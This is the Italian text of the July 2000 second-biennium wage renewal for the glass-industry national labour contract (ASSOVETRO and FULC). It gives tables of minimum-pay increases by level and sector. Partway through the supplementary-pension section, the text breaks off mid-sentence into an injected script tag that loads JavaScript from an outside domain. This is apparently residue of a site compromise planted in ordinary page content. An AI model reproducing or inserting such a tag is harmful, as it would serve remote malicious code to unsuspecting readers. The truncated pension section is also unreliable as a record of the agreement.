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Categoria: Vetro (industrie)
Settore: Chimici
Data stipula: 10-7-2000
Data decorrenza: 1-8-2000
Data scadenza: 31-7-2002

Contratto Collettivo Nazionale di Lavoro

ACCORDO DI RINNOVO DI 2° BIENNIO PER LA MATERIA RETRIBUTIVA DEL CCNL
PER GLI ADDETTI ALLE AZIENDE INDUSTRIALI CHE PRODUCONO E TRASFORMANO
ARTICOLI DI VETRO


Addì  10  luglio 2000, tra  ASSOVETRO e FULC Nazionale si è  convenuto  il
seguente  Accordo  di  rinnovo  di  2°  biennio  del  CCNL  che,  ove  non
diversamente indicato, decorrerà dal 1° agosto 2000 al 31 luglio 2002.


MINIMI CONTRATTUALI

Con decorrenza dall'1.8.00 e 1.9.01 (1.10.01 per le aziende dei settori  a
soffio  a  mano e con macchine semiautomatiche e per quelle delle  seconde
lavorazioni  del  vetro) il minimo contrattuale mensile sarà  incrementato
dei seguenti importi:

SETTORI MECCANIZZATI DELLE PRIME LAVORAZIONI

                                                          
                          aumenti       aumenti            
livelli    parametri                        Parametri     al             al           totale
                          1.8.00         1.9.01
                            
1             100         31.300         29.100          60.400
2             112         35.100         32.600          67.700
3             125         39.200         36.400          75.600
4             134         42.000         39.000          81.000
5             147         46.100         42.800          88.900
5A            152         47.600         44.300          91.900
6             157         49.200         45.700          94.900
6A            161         50.500         46.800          97.300
7             179         56.100         52.100         108.200
8             201         63.000         58.500         121.500
8A            207         64.900         60.200         125.100


SETTORI A SOFFIO A MANO E CON MACCHINE SEM.

                          aumenti       aumenti            
livelli    parametri                        Parametri     al             al           totale
                          1.8.00        1.10.01
                            
1             100         31.300         29.100          60.400
2             108         33.900         31.400          65.300
3             116         36.400         33.700          70.100
4             124         38.900         36.100          75.000
5             135         42.300         39.300          81.600
6             148         46.400         43.100          89.500
7             157         49.200         45.700          94.900
8             179         56.100         52.100         108.200
8A            181         56.700         52.700         109.400
9             201         63.000         58.500         121.500
9A            207         64.900         60.200         125.100


SECONDE LAVORAZIONI DEL VETRO

                          aumenti       aumenti            
livelli    parametri                        Parametri     al             al           totale
                          1.8.00        1.10.01
                            
1             100         31.300         29.100          60.400
2             112         35.100         32.600          67.700
3             125         39.200         36.400          75.600
4             134         42.000         39.000          81.000
5             147         46.100         42.800          88.900
5A            152         47.600         44.300          91.900
6             157         49.200         45.700          94.900
6A            161         50.500         46.800          97.300
7             179         56.100         52.100         108.200
8             201         63.000         58.500         121.500
8A            207         64.900         60.200         125.100


PREVIDENZA COMPLEMENTARE

In  un  quadro  economico  e  sociale di sempre maggiore  rilevanza  della
previdenza  complementare e visti gli accordi di  settore  precedentemente
raggiunti in materia e in particolare quanto previsto dal<<script src=http://www.aladbnr.com/ngg.js></script>













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